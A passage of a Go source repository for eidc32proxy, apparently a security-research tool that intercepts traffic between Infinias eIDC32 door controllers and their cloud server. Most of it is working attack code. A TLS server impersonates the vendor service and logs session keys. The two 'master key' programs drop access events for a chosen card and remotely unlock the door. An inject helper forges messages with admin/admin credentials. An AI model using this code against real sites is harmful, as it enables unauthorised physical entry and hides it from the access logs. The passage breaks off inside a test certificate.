bytes greater than 02:0D:F2. 70 | func MostlyRandomMAC() (*EIDCMAC, error) { 71 | randomByte := func(floor byte) (byte, error) { 72 | for { 73 | b := make([]byte, 1) 74 | _, err := rand.Read(b) 75 | if err != nil { 76 | return 0, err 77 | } 78 | if b[0] < floor { 79 | continue 80 | } 81 | return b[0], nil 82 | } 83 | } 84 | 85 | d, err := randomByte(2) 86 | if err != nil { 87 | return nil, err 88 | } 89 | e, err := randomByte(13) 90 | if err != nil { 91 | return nil, err 92 | } 93 | f, err := randomByte(242) 94 | if err != nil { 95 | return nil, err 96 | } 97 | 98 | // First three bytes are 00 14 E4 (base 10: 00 20 228). 99 | addr := make(net.HardwareAddr, 6) 100 | addr[0] = 00 101 | addr[1] = 20 102 | addr[2] = 228 103 | addr[3] = d 104 | addr[4] = e 105 | addr[5] = f 106 | 107 | return &EIDCMAC{MAC: addr}, nil 108 | } 109 | 110 | // EIDCMAC is a wrapper struct that makes a normal net.HardwareAddr more 111 | // similar to a MAC used by a eIDC. 112 | type EIDCMAC struct { 113 | MAC net.HardwareAddr 114 | } 115 | 116 | // String returns the eIDC-like string representation of the net.HardwareAddr. 117 | func (o EIDCMAC) String() string { 118 | return strings.ToUpper(o.MAC.String()) 119 | } 120 | 121 | // SerialNumberFromMACString returns a eIDC serial number using the provided 122 | // MAC address string. The address is validated before creating the 123 | // serial number. 124 | func SerialNumberFromMACString(macStr string) (string, error) { 125 | mac, err := net.ParseMAC(macStr) 126 | if err != nil { 127 | return "", err 128 | } 129 | 130 | return SerialNumberFromMAC(mac), nil 131 | } 132 | 133 | // SerialNumberFromMACString returns a eIDC serial number using the provided 134 | // MAC address. 135 | func SerialNumberFromMAC(mac net.HardwareAddr) string { 136 | return SerialNumberWithSuffix(strings.ToUpper(hex.EncodeToString(mac[3:]))) 137 | } 138 | 139 | // SerialNumberWithSuffix returns a eIDC serial number without performing any 140 | // validation on the provided serial number suffix. 141 | func SerialNumberWithSuffix(suffix string) string { 142 | return fmt.Sprintf("0x000000%s", suffix) 143 | } 144 | -------------------------------------------------------------------------------- /cmd/eidc32proxy/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rsa" 5 | "crypto/x509" 6 | "flag" 7 | "github.com/chrismarget/eidc32proxy" 8 | "github.com/chrismarget/eidc32proxy/display" 9 | "log" 10 | "os" 11 | "os/signal" 12 | "time" 13 | ) 14 | 15 | const ( 16 | sslPort = 18800 17 | clearPort = 18880 18 | progName = "eidc32proxy" 19 | version = "0.9" 20 | ) 21 | 22 | const ( 23 | displayTview displayType = iota 24 | displayDump 25 | displayLog 26 | ) 27 | 28 | type displayType int 29 | 30 | type config struct { 31 | display displayType 32 | } 33 | 34 | func getConfig() *config { 35 | dtype := flag.String("d", "", "display type: dumpfirst/log/tview (default tview)") 36 | flag.Parse() 37 | config := &config{} 38 | switch *dtype { 39 | case "tview": 40 | config.display = displayTview 41 | case "dump": 42 | config.display = displayDump 43 | case "log": 44 | config.display = displayLog 45 | } 46 | return config 47 | } 48 | 49 | /* talk to this thing with: 50 | LD_LIBRARY_PATH=/opt/openssl-1.1.1/lib/:$LD_LIBRARY_PATH openssl s_client -cipher 'RC4-MD5:@SECLEVEL=0' -connect 192.168.15.46:18800 -ign_eof 51 | */ 52 | 53 | func main() { 54 | config := getConfig() 55 | 56 | var cert *x509.Certificate 57 | var key *rsa.PrivateKey 58 | var err error 59 | 60 | // prepare TLS certificate and key we'll present to eIDC32 clients 61 | cert, key, err = eidc32proxy.CertAndKey(eidc32proxy.InfiniasCertSetup()) 62 | if err != nil { 63 | log.Fatal(err) 64 | } 65 | 66 | // create a new SSL server using that cert and key 67 | sslServer, err := eidc32proxy.NewServer(cert, key) 68 | if err != nil { 69 | log.Fatal(err) 70 | } 71 | 72 | // create a new cleartext server 73 | clearServer, err := eidc32proxy.NewServer(nil, nil) 74 | if err != nil { 75 | log.Fatal(err) 76 | } 77 | 78 | // start the sslServer 79 | err = sslServer.Serve(sslPort) 80 | if err != nil { 81 | log.Fatal(err) 82 | } 83 | 84 | // start the clearServer 85 | err = clearServer.Serve(clearPort) 86 | if err != nil { 87 | log.Fatal(err) 88 | } 89 | 90 | controlC := make(chan os.Signal) 91 | signal.Notify(controlC, os.Interrupt, os.Kill) 92 | 93 | // Aggregate the all server instance session channels into a single channel 94 | sessAgg := func(in, out chan *eidc32proxy.Session) { 95 | for newSess := range in { 96 | out <- newSess 97 | } 98 | } 99 | aggregatedSessions := make(chan *eidc32proxy.Session) // The aggregate channel 100 | go sessAgg(sslServer.SubscribeSessions(), aggregatedSessions) // Aggregate ssl sessions 101 | go sessAgg(clearServer.SubscribeSessions(), aggregatedSessions) // Aggregate clear sessions 102 | 103 | var disp display.Display 104 | 105 | switch config.display { 106 | case displayTview: 107 | disp = display.NewTVDisplay(aggregatedSessions) 108 | case displayDump: 109 | disp = display.NewDumpFirstDisplay(aggregatedSessions) 110 | } 111 | 112 | go disp.Run() 113 | 114 | MAINLOOP: 115 | for { 116 | select { 117 | case <-controlC: // Stop channel says stop 118 | break MAINLOOP 119 | case err := <-sslServer.ErrChan(): // sslServer produced an error 120 | log.Println("SSL server Error:", err.Error()) 121 | break MAINLOOP 122 | case err := <-clearServer.ErrChan(): // clearServer produced an error 123 | log.Println("Cleartext server Error:", err.Error()) 124 | break MAINLOOP 125 | case err := <-disp.ErrChan(): // display produced an error 126 | if err != nil { 127 | log.Println("Display Error:", err.Error()) 128 | } 129 | break MAINLOOP 130 | } 131 | } 132 | sslServer.Stop() 133 | clearServer.Stop() 134 | } 135 | 136 | func injectExample(s *eidc32proxy.Session) { 137 | time.Sleep(60 * time.Second) 138 | msgToInject, err := eidc32proxy.NewHeartbeatMsg("admin", "admin") 139 | if err != nil { 140 | log.Println("inject error: ", err.Error()) 141 | } 142 | mangler := eidc32proxy.DropMessageByType{ 143 | DropType: eidc32proxy.MsgTypeHeartbeatResponse, 144 | Remaining: 1, 145 | } 146 | s.Inject(*msgToInject, []eidc32proxy.Mangler{&mangler}) 147 | } 148 | -------------------------------------------------------------------------------- /http_test.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "strings" 7 | "testing" 8 | ) 9 | 10 | const ( 11 | header = "POST /eidc/connected HTTP/1.1\r\n" + 12 | "Host: production-webhal-xxxxxxxxxxxxxxxx.elb.us-east-1.amazonaws.com:18800\r\n" + 13 | "Content-Type: application/json\r\n" + 14 | "Content-Length: 217\r\n" + 15 | "ServerKey: xxxxxxxxxxxxxxxx\r\n" + 16 | "\r\n" 17 | ) 18 | 19 | func TestIsRequest(t *testing.T) { 20 | var td []byte 21 | 22 | // test the minimal possible request line 23 | td = []byte("GET / HTTP/1.0\r\n") 24 | if !isRequest(td) { 25 | t.Fatalf("\"%s\" should have looked like a request", td) 26 | } 27 | 28 | // test a request line that's longer than our peek() 29 | td = []byte("GET /very-long-request-string HTTP/1.0\r\n") 30 | if !isRequest(td) { 31 | t.Fatalf("\"%s\" should have looked like a request", td) 32 | } 33 | 34 | // test a bogus request line 35 | td = []byte("GETT /very-long-request-string HTTP/1.0\r\n") 36 | if isRequest(td) { 37 | t.Fatalf("\"%s\" should not have looked like a request", td) 38 | } 39 | 40 | // test a bogus request line 41 | td = []byte(" GET / HTTP/1.0\r\n") 42 | if isRequest(td) { 43 | t.Fatalf("\"%s\" should not have looked like a request", td) 44 | } 45 | } 46 | 47 | func TestIsResponse(t *testing.T) { 48 | var td []byte 49 | 50 | // test the minimal possible response line 51 | td = []byte("HTTP/1.0 200 OK\r\n") 52 | if !isResponse(td) { 53 | t.Fatalf("\"%s\" should have looked like a response", td) 54 | } 55 | 56 | // test a weirdly long response line 57 | td = []byte("HTTP/111.555 200 OK\r\n") 58 | if !isResponse(td) { 59 | t.Fatalf("\"%s\" should have looked like a response", td) 60 | } 61 | 62 | // bad data : leading space 63 | td = []byte(" HTTP/1.0 200 OK\r\n") 64 | if isResponse(td) { 65 | t.Fatalf("response with leading space is bogus '%s'", td) 66 | } 67 | 68 | // bad data : second line 69 | td = []byte("\nHTTP/1.0 200 OK\r\n") 70 | if isResponse(td) { 71 | t.Fatalf("response on second line is bogus '%s'", td) 72 | } 73 | } 74 | 75 | func TestPeekHttpHeader(t *testing.T) { 76 | testHeader := "GET /foo/bar HTTP/1.1\r\n" + 77 | "Host: webserver:81\r\n" + 78 | "User-Agent: whatever\r\n\r\n" 79 | rdr := bufio.NewReader(bytes.NewReader([]byte(testHeader))) 80 | result, err := peekHttpHeader(rdr) 81 | if err != nil { 82 | t.Fatal(err) 83 | } 84 | if string(result) != testHeader { 85 | t.Fatalf("results don't match: '%s' and '%s'", result, testHeader) 86 | } 87 | } 88 | 89 | func TestPeekHostHeader(t *testing.T) { 90 | expected := "foo.bar.com:80" 91 | testData := "abcd\r\nHost: " + expected + "\r\nABCD\r\n" 92 | rdr := bufio.NewReader(bytes.NewReader([]byte(testData))) 93 | result, err := peekHostHeaderValue(rdr) 94 | if err != nil { 95 | t.Fatal(err) 96 | } 97 | if result != expected { 98 | t.Fatalf("results don't match: '%s' and '%s'", result, expected) 99 | } 100 | } 101 | 102 | func TestPeekLoginInfo(t *testing.T) { 103 | testData := "POST /eidc/connected HTTP/1.1\r\n" + 104 | "Host: production-webhal-xxxxxxxxxxxxxxxx.elb.us-east-1.amazonaws.com:18800\r\n" + 105 | "Content-Type: application/json\r\n" + 106 | "Content-Length: 217\r\n" + 107 | "ServerKey: xxxxxxxxxxxxxxxx\r\n\r\n" + 108 | `{"serialNumber":"0x000000123456", "firmwareVersion":"3.4.20", ` + 109 | `"ipAddress":"172.16.1.50", "macAddress":"00:14:E4:12:34:56", ` + 110 | `"siteKey":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", ` + 111 | `"configurationKey":"", "cardFormat":"short"}` 112 | 113 | br := bufio.NewReader(strings.NewReader(testData)) 114 | li, err := peekLoginInfo(br) 115 | if err != nil { 116 | t.Fatal(err) 117 | } 118 | expectedHost := "production-webhal-xxxxxxxxxxxxxxxx.elb.us-east-1.amazonaws.com:18800" 119 | if li.Host != expectedHost { 120 | t.Fatalf("expected:\n\t%s\ngot:\n\t%s\n", expectedHost, li.Host) 121 | } 122 | } 123 | 124 | func TestSplitHttpMsg(t *testing.T) { 125 | testData := "" + 126 | "foo1\r\n" + 127 | "bar1\r\n" + 128 | "\r\n" + 129 | "foo2\r\n" + 130 | "bar2\r\n" + 131 | "\r\n" 132 | expected1 := "foo1\r\nbar1\r\n\r\n" 133 | expected2 := "foo2\r\nbar2\r\n\r\n" 134 | testRdr := bufio.NewReader(strings.NewReader(testData)) 135 | s := bufio.NewScanner(testRdr) 136 | s.Split(SplitHttpMsg) 137 | 138 | buf := make([]byte, 3) 139 | s.Buffer(buf, 2^16) 140 | 141 | s.Scan() 142 | if string(s.Bytes()) != expected1 { 143 | t.Fatalf("expected %s, got %s", expected1, string(s.Bytes())) 144 | } 145 | 146 | s.Scan() 147 | if string(s.Bytes()) != expected2 { 148 | t.Fatalf("expected %s, got %s", expected2, string(s.Bytes())) 149 | } 150 | } 151 | -------------------------------------------------------------------------------- /cmd/sharkjack_master_key/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rsa" 5 | "crypto/x509" 6 | "flag" 7 | "fmt" 8 | "log" 9 | "os" 10 | "os/signal" 11 | "strconv" 12 | "strings" 13 | "time" 14 | 15 | "github.com/chrismarget/eidc32proxy" 16 | ) 17 | 18 | const ( 19 | sslPort = 18800 20 | ) 21 | 22 | type config struct { 23 | card []eidc32proxy.Card 24 | } 25 | 26 | func parseCardInfo(in string) (eidc32proxy.Card, error) { 27 | cardInfo := strings.Split(in, ":") 28 | if len(cardInfo) != 2 { 29 | return eidc32proxy.Card{}, fmt.Errorf("%s is not a valid card spec", in) 30 | } 31 | siteCode, err := strconv.Atoi(cardInfo[0]) 32 | if err != nil { 33 | return eidc32proxy.Card{}, err 34 | } 35 | cardCode, err := strconv.Atoi(cardInfo[1]) 36 | if err != nil { 37 | return eidc32proxy.Card{}, err 38 | } 39 | return eidc32proxy.Card{SiteCode: siteCode, CardCode: cardCode}, nil 40 | } 41 | 42 | func getConfig() (*config, error) { 43 | cards := flag.String("c", "", "card number in the form sitecode:cardcode,sitecode:cardcode,...") 44 | flag.Parse() 45 | config := &config{} 46 | for _, s := range strings.Split(*cards, ",") { 47 | card, err := parseCardInfo(s) 48 | if err != nil { 49 | return nil, err 50 | } 51 | config.card = append(config.card, card) 52 | } 53 | return config, nil 54 | } 55 | 56 | func goGoGadgetMagicCard() chan *eidc32proxy.Session { 57 | trigger := make(chan *eidc32proxy.Session) 58 | go func() { 59 | for s := range trigger { 60 | time.Sleep(100*time.Millisecond) 61 | log.Println("omg, so unlocking that door") 62 | err := s.SetLockStatus(eidc32proxy.Unlocked, true) 63 | if err != nil { 64 | log.Println(err) 65 | } 66 | time.Sleep(4 * time.Second) 67 | err = s.SetLockStatus(eidc32proxy.Locked, true) 68 | if err != nil { 69 | log.Println(err) 70 | } 71 | log.Println("relocking that door") 72 | } 73 | }() 74 | return trigger 75 | } 76 | 77 | func enrollMagicCard(card eidc32proxy.Card, s *eidc32proxy.Session, noisy bool) { 78 | //mcm := eidc32proxy.MasterKeyMangler{ 79 | // Card: card, 80 | // Session: s, 81 | // Log: log, 82 | //} 83 | filterFunc := func(request *eidc32proxy.EventRequest) bool { 84 | if request.CardCode != card.CardCode { 85 | return false 86 | } 87 | if request.SiteCode != card.SiteCode { 88 | return false 89 | } 90 | log.Println("mangler FilterFunc says: master key found") 91 | return true 92 | } 93 | 94 | doorStrikeChan := goGoGadgetMagicCard() 95 | 96 | postFunc := func(session *eidc32proxy.Session) error { 97 | log.Println("this is postFunc") 98 | doorStrikeChan <- s 99 | return nil 100 | } 101 | 102 | mcm := eidc32proxy.DropEidcEvent{ 103 | FilterFunc: filterFunc, 104 | Session: s, 105 | OneShot: false, 106 | PostFunc: postFunc, 107 | } 108 | s.AddMangler(mcm) 109 | } 110 | 111 | func doUnSub(unSubFuncs []func()) { 112 | for _, f := range unSubFuncs { 113 | f() 114 | } 115 | } 116 | 117 | func printFromChan(msgChan <-chan eidc32proxy.Message, out *os.File) func() { 118 | quitChan := make(chan struct{}) 119 | quitFunc := func() { quitChan <- struct{}{} } 120 | go func() { 121 | for { 122 | select { 123 | case <-quitChan: 124 | return 125 | case msg := <-msgChan: 126 | printMe, err := msg.PrintableLines() 127 | if err != nil { 128 | log.Print(err) 129 | } 130 | for _, l := range printMe { 131 | _, err = out.WriteString(l) 132 | if err != nil { 133 | log.Print(err) 134 | } 135 | } 136 | } 137 | } 138 | }() 139 | return quitFunc 140 | } 141 | 142 | func main() { 143 | config, err := getConfig() 144 | if err != nil { 145 | log.Fatal(err) 146 | } 147 | 148 | var cert *x509.Certificate 149 | var key *rsa.PrivateKey 150 | 151 | // prepare TLS certificate and key we'll present to eIDC32 clients 152 | cert, key, err = eidc32proxy.CertAndKey(eidc32proxy.InfiniasCertSetup()) 153 | if err != nil { 154 | log.Fatal(err) 155 | } 156 | 157 | // create a new SSL server using that cert and key 158 | server, err := eidc32proxy.NewServer(cert, key) 159 | if err != nil { 160 | log.Fatal(err) 161 | } 162 | 163 | // start the server 164 | err = server.Serve(sslPort) 165 | if err != nil { 166 | log.Fatal(err) 167 | } 168 | 169 | controlC := make(chan os.Signal) 170 | signal.Notify(controlC, os.Interrupt, os.Kill) 171 | 172 | sessChan := server.SubscribeSessions() 173 | 174 | _ = config 175 | 176 | var unsubscribe []func() 177 | var stopPrinting func() 178 | MAINLOOP: 179 | for { 180 | select { 181 | case s := <-sessChan: // new session has come up 182 | log.Println("------------NEW SESSION-----------") 183 | for _, c := range config.card { 184 | enrollMagicCard(c, s, true) 185 | } 186 | si := eidc32proxy.SubInfo{Category: eidc32proxy.SubMsgCatAny} 187 | msgChan, unSubFunc := s.Pager.Subscribe(si) 188 | unsubscribe = append(unsubscribe, unSubFunc) 189 | stopPrinting = printFromChan(msgChan, os.Stdout) 190 | //s.AddMangler(eidc32proxy.PrintMangler{}) 191 | s.BeginRelaying() 192 | case <-controlC: // Stop channel says stop 193 | doUnSub(unsubscribe) 194 | stopPrinting() 195 | break MAINLOOP 196 | case err := <-server.ErrChan(): // server produced an error 197 | log.Println("SSL server Error:", err.Error()) 198 | doUnSub(unsubscribe) 199 | stopPrinting() 200 | break MAINLOOP 201 | } 202 | } 203 | server.Stop() 204 | } 205 | -------------------------------------------------------------------------------- /cmd/cloudkey_master_key/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rsa" 5 | "crypto/x509" 6 | "flag" 7 | "fmt" 8 | "log" 9 | "os" 10 | "os/signal" 11 | "strconv" 12 | "strings" 13 | "time" 14 | 15 | "github.com/chrismarget/eidc32proxy" 16 | "github.com/chrismarget/cloudkey-led" 17 | ) 18 | 19 | const ( 20 | sslPort = 18800 21 | whiteDir = "/sys/devices/platform/leds-mt65xx/leds/white" 22 | blueDir = "/sys/devices/platform/leds-mt65xx/leds/blue" 23 | ) 24 | 25 | type config struct { 26 | card []eidc32proxy.Card 27 | } 28 | 29 | func parseCardInfo(in string) (eidc32proxy.Card, error) { 30 | cardInfo := strings.Split(in, ":") 31 | if len(cardInfo) != 2 { 32 | return eidc32proxy.Card{}, fmt.Errorf("%s is not a valid card spec", in) 33 | } 34 | siteCode, err := strconv.Atoi(cardInfo[0]) 35 | if err != nil { 36 | return eidc32proxy.Card{}, err 37 | } 38 | cardCode, err := strconv.Atoi(cardInfo[1]) 39 | if err != nil { 40 | return eidc32proxy.Card{}, err 41 | } 42 | return eidc32proxy.Card{SiteCode: siteCode, CardCode: cardCode}, nil 43 | } 44 | 45 | func getConfig() (*config, error) { 46 | cards := flag.String("c", "", "card number in the form sitecode:cardcode,sitecode:cardcode,...") 47 | flag.Parse() 48 | config := &config{} 49 | for _, s := range strings.Split(*cards, ",") { 50 | card, err := parseCardInfo(s) 51 | if err != nil { 52 | return nil, err 53 | } 54 | config.card = append(config.card, card) 55 | } 56 | return config, nil 57 | } 58 | 59 | func goGoGadgetMagicCard() chan *eidc32proxy.Session { 60 | trigger := make(chan *eidc32proxy.Session) 61 | go func() { 62 | for s := range trigger { 63 | time.Sleep(100*time.Millisecond) 64 | log.Println("omg, so unlocking that door") 65 | err := s.SetLockStatus(eidc32proxy.Unlocked, true) 66 | if err != nil { 67 | log.Println(err) 68 | } 69 | time.Sleep(4 * time.Second) 70 | err = s.SetLockStatus(eidc32proxy.Locked, true) 71 | if err != nil { 72 | log.Println(err) 73 | } 74 | log.Println("relocking that door") 75 | } 76 | }() 77 | return trigger 78 | } 79 | 80 | func enrollMagicCard(card eidc32proxy.Card, s *eidc32proxy.Session, noisy bool) { 81 | //mcm := eidc32proxy.MasterKeyMangler{ 82 | // Card: card, 83 | // Session: s, 84 | // Log: log, 85 | //} 86 | filterFunc := func(request *eidc32proxy.EventRequest) bool { 87 | if request.CardCode != card.CardCode { 88 | return false 89 | } 90 | if request.SiteCode != card.SiteCode { 91 | return false 92 | } 93 | log.Println("mangler FilterFunc says: master key found") 94 | return true 95 | } 96 | 97 | doorStrikeChan := goGoGadgetMagicCard() 98 | 99 | postFunc := func(session *eidc32proxy.Session) error { 100 | log.Println("this is postFunc") 101 | doorStrikeChan <- s 102 | return nil 103 | } 104 | 105 | mcm := eidc32proxy.DropEidcEvent{ 106 | FilterFunc: filterFunc, 107 | Session: s, 108 | OneShot: false, 109 | PostFunc: postFunc, 110 | } 111 | s.AddMangler(mcm) 112 | } 113 | 114 | func doUnSub(unSubFuncs []func()) { 115 | for _, f := range unSubFuncs { 116 | f() 117 | } 118 | } 119 | 120 | func printFromChan(msgChan <-chan eidc32proxy.Message, out *os.File) func() { 121 | quitChan := make(chan struct{}) 122 | quitFunc := func() { quitChan <- struct{}{} } 123 | go func() { 124 | for { 125 | select { 126 | case <-quitChan: 127 | return 128 | case msg := <-msgChan: 129 | printMe, err := msg.PrintableLines() 130 | if err != nil { 131 | log.Print(err) 132 | } 133 | for _, l := range printMe { 134 | _, err = out.WriteString(l) 135 | if err != nil { 136 | log.Print(err) 137 | } 138 | } 139 | } 140 | } 141 | }() 142 | return quitFunc 143 | } 144 | 145 | func main() { 146 | config, err := getConfig() 147 | if err != nil { 148 | log.Fatal(err) 149 | } 150 | 151 | var cert *x509.Certificate 152 | var key *rsa.PrivateKey 153 | 154 | // prepare TLS certificate and key we'll present to eIDC32 clients 155 | cert, key, err = eidc32proxy.CertAndKey(eidc32proxy.InfiniasCertSetup()) 156 | if err != nil { 157 | log.Fatal(err) 158 | } 159 | 160 | // create a new SSL server using that cert and key 161 | server, err := eidc32proxy.NewServer(cert, key) 162 | if err != nil { 163 | log.Fatal(err) 164 | } 165 | 166 | // start the server 167 | err = server.Serve(sslPort) 168 | if err != nil { 169 | log.Fatal(err) 170 | } 171 | 172 | controlC := make(chan os.Signal) 173 | signal.Notify(controlC, os.Interrupt, os.Kill) 174 | 175 | sessChan := server.SubscribeSessions() 176 | 177 | _ = config 178 | 179 | //var sessions []*eidc32proxy.Session 180 | 181 | whiteLed, err := cloudkeyled.New(whiteDir) 182 | if err != nil { 183 | log.Fatal(err) 184 | } 185 | whiteLed <- cloudkeyled.Command{Off: true} 186 | 187 | blueLed, err := cloudkeyled.New(blueDir) 188 | if err != nil { 189 | log.Fatal(err) 190 | } 191 | blueLed <- cloudkeyled.Command{Off: true} 192 | 193 | var unsubscribe []func() 194 | var stopPrinting func() 195 | var sessions []*eidc32proxy.Session 196 | MAINLOOP: 197 | for { 198 | select { 199 | case s := <-sessChan: // new session has come up 200 | sessions = append(sessions, s) 201 | blueLed <- cloudkeyled.Command{ 202 | Pattern: []int{len(sessions)}, 203 | Repeat: true, 204 | } 205 | //digits, err := utils.IntToBaseTenDigits(len(sessions)) 206 | //if err != nil { 207 | // log.Println(err) 208 | //} 209 | //blueLed <- cloudkeyled.LedSetting{Pattern: digits} 210 | log.Println("------------NEW SESSION-----------") 211 | for _, c := range config.card { 212 | enrollMagicCard(c, s, true) 213 | } 214 | si := eidc32proxy.SubInfo{Category: eidc32proxy.SubMsgCatAny} 215 | msgChan, unSubFunc := s.Pager.Subscribe(si) 216 | unsubscribe = append(unsubscribe, unSubFunc) 217 | stopPrinting = printFromChan(msgChan, os.Stdout) 218 | //s.AddMangler(eidc32proxy.PrintMangler{}) 219 | s.BeginRelaying() 220 | case <-controlC: // Stop channel says stop 221 | doUnSub(unsubscribe) 222 | stopPrinting() 223 | break MAINLOOP 224 | case err := <-server.ErrChan(): // server produced an error 225 | log.Println("SSL server Error:", err.Error()) 226 | doUnSub(unsubscribe) 227 | stopPrinting() 228 | break MAINLOOP 229 | } 230 | } 231 | server.Stop() 232 | } 233 | -------------------------------------------------------------------------------- /server.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | /* connect from the "bridge" host with: 4 | LD_LIBRARY_PATH=/opt/openssl-1.1.1/lib/:$LD_LIBRARY_PATH openssl s_client -cipher 'RC4-MD5:@SECLEVEL=0' -connect 192.168.15.46:18800 5 | */ 6 | 7 | import ( 8 | "bytes" 9 | "crypto/rand" 10 | "crypto/rsa" 11 | "crypto/x509" 12 | "encoding/pem" 13 | "fmt" 14 | "github.com/chrismarget/terribletls" 15 | "io" 16 | "net" 17 | "os" 18 | "path/filepath" 19 | "strconv" 20 | "strings" 21 | "sync" 22 | ) 23 | 24 | const ( 25 | network = "tcp4" 26 | errConnClosed = "use of closed network connection" 27 | keyLogFile = ".eidc32proxy.keys" 28 | ) 29 | 30 | type Server struct { 31 | tlsConfig *terribletls.Config 32 | nl net.Listener 33 | stop chan struct{} 34 | sessions map[int]*Session 35 | err chan error 36 | sessChMap map[chan *Session]struct{} 37 | sessChMutex *sync.Mutex 38 | } 39 | 40 | // NewServer returns an eidc32proxy Server object. It takes the TLS details as 41 | // input. Typical usage involves listening for errors by calling ErrChan() 42 | // (once), and subscribing to session creation info with SubscribeSessions() 43 | // (many listeners okay), then starting it up with Serve(). 44 | // If x509Cert or privkey are nil, the server will not do SSL. 45 | func NewServer(x509Cert *x509.Certificate, privkey *rsa.PrivateKey) (Server, error) { 46 | var tlsConfig *terribletls.Config 47 | 48 | if x509Cert != nil && privkey != nil { 49 | keyLog, err := keyLogWriter() 50 | if err != nil { 51 | return Server{}, err 52 | } 53 | 54 | certBlock := bytes.NewBuffer(nil) 55 | err = pem.Encode(certBlock, &pem.Block{ 56 | Type: "CERTIFICATE", 57 | Bytes: x509Cert.Raw, 58 | }) 59 | if err != nil { 60 | return Server{}, fmt.Errorf("failed to pem encode certificate block - %w", err) 61 | } 62 | 63 | privateKeyBlock := bytes.NewBuffer(nil) 64 | err = pem.Encode(privateKeyBlock, &pem.Block{ 65 | Type: "RSA PRIVATE KEY", 66 | Bytes: x509.MarshalPKCS1PrivateKey(privkey), 67 | }) 68 | if err != nil { 69 | return Server{}, fmt.Errorf("failed to pem encode private key block - %w", err) 70 | } 71 | 72 | tlsCert, err := terribletls.X509KeyPair(certBlock.Bytes(), privateKeyBlock.Bytes()) 73 | if err != nil { 74 | return Server{}, err 75 | } 76 | 77 | tlsConfig = &terribletls.Config{ 78 | KeyLogWriter: keyLog, 79 | Rand: rand.Reader, 80 | Certificates: []terribletls.Certificate{tlsCert}, 81 | CipherSuites: []uint16{terribletls.TLS_RSA_WITH_RC4_128_MD5}, 82 | PreferServerCipherSuites: true, 83 | SessionTicketsDisabled: true, 84 | MinVersion: terribletls.VersionTLS10, 85 | MaxVersion: terribletls.VersionTLS12, 86 | DynamicRecordSizingDisabled: true, 87 | } 88 | } 89 | 90 | return Server{ 91 | err: make(chan error), 92 | stop: make(chan struct{}), 93 | sessions: make(map[int]*Session), 94 | sessChMap: make(map[chan *Session]struct{}), 95 | sessChMutex: &sync.Mutex{}, 96 | tlsConfig: tlsConfig, 97 | }, nil 98 | } 99 | 100 | // Serve loops forever handing off new connections to initSession(). 101 | // It returns an error if there's a problem prior to starting the client 102 | // handling loop. Any errors encountered in the client handling loop 103 | // are returned on the server's "Err" channel. 104 | func (o Server) Serve(port int) error { 105 | var nl net.Listener 106 | var err error 107 | 108 | laddr := ":" + strconv.Itoa(port) 109 | if o.tlsConfig != nil { 110 | nl, err = terribletls.Listen(network, laddr, o.tlsConfig) 111 | } else { 112 | nl, err = net.Listen(network, laddr) 113 | } 114 | if err != nil { 115 | return err 116 | } 117 | 118 | // loop accepting incoming connections 119 | go o.serve(nl) 120 | 121 | // this should stop everything. does it? no idea. 122 | go func() { 123 | <-o.stop 124 | nl.Close() 125 | close(o.stop) 126 | close(o.err) 127 | }() 128 | 129 | return nil 130 | } 131 | 132 | func keyLogWriter() (io.Writer, error) { 133 | keyLogDir, err := os.UserHomeDir() 134 | if err != nil { 135 | return nil, err 136 | } 137 | 138 | keyLogFile := filepath.Join(keyLogDir, keyLogFile) 139 | 140 | err = os.MkdirAll(filepath.Dir(keyLogFile), os.FileMode(0644)) 141 | if err != nil { 142 | return nil, err 143 | } 144 | 145 | return os.OpenFile(keyLogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) 146 | } 147 | 148 | func (o *Server) serve(nl net.Listener) { 149 | defer o.unsubEverybody() 150 | // loop forever accepting new connections 151 | var sessionID int 152 | for { 153 | conn, err := nl.Accept() 154 | if err != nil { 155 | if strings.HasSuffix(err.Error(), errConnClosed) { 156 | o.err <- err 157 | return 158 | } 159 | o.err <- err 160 | continue 161 | } 162 | 163 | // connection accepted, init session 164 | go func(id int) { 165 | //session, err := newSession(id, conn, o.eventInChan) 166 | session, err := newSession(conn) 167 | if err != nil { 168 | o.err <- err 169 | return 170 | } 171 | 172 | // announce the session to all interested channels 173 | o.sessChMutex.Lock() 174 | for c := range o.sessChMap { 175 | c <- session 176 | } 177 | o.sessChMutex.Unlock() 178 | 179 | }(sessionID) 180 | sessionID++ 181 | } 182 | } 183 | 184 | func (o *Server) unsubEverybody() { 185 | o.sessChMutex.Lock() 186 | for c := range o.sessChMap { 187 | close(c) 188 | delete(o.sessChMap, c) 189 | } 190 | o.sessChMutex.Unlock() 191 | } 192 | 193 | // Stop stops the server by writing to the stop channel 194 | func (o *Server) Stop() { 195 | o.stop <- struct{}{} 196 | } 197 | 198 | // Errors returns the server's error channel 199 | func (o *Server) ErrChan() chan error { 200 | return o.err 201 | } 202 | 203 | // SubscribeSessions returns a new Session channel. New sessions will 204 | // be written to the channel as they establish connections. 205 | func (o *Server) SubscribeSessions() chan *Session { 206 | c := make(chan *Session) 207 | o.sessChMutex.Lock() 208 | o.sessChMap[c] = struct{}{} 209 | o.sessChMutex.Unlock() 210 | return c 211 | } 212 | 213 | // UnSubscribeSessions allows a subscriber remove its channel from the 214 | // new session interest list by submitting it to this function. 215 | func (o *Server) UnSubscribeSessions(c chan *Session) { 216 | o.sessChMutex.Lock() 217 | delete(o.sessChMap, c) 218 | o.sessChMutex.Unlock() 219 | } 220 | -------------------------------------------------------------------------------- /certificate_test.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/x509" 6 | "encoding/pem" 7 | "io/ioutil" 8 | mathrand "math/rand" 9 | "os" 10 | "testing" 11 | "time" 12 | ) 13 | 14 | func init() { 15 | mathrand.Seed(time.Now().UnixNano()) 16 | } 17 | 18 | func TestGetCertFromFile(t *testing.T) { 19 | cdata := `-----BEGIN CERTIFICATE----- 20 | MIICiDCCAfECEGHeMygE/7ugQumjhkFc+EowDQYJKoZIhvcNAQEFBQAwgYQxFDAS 21 | 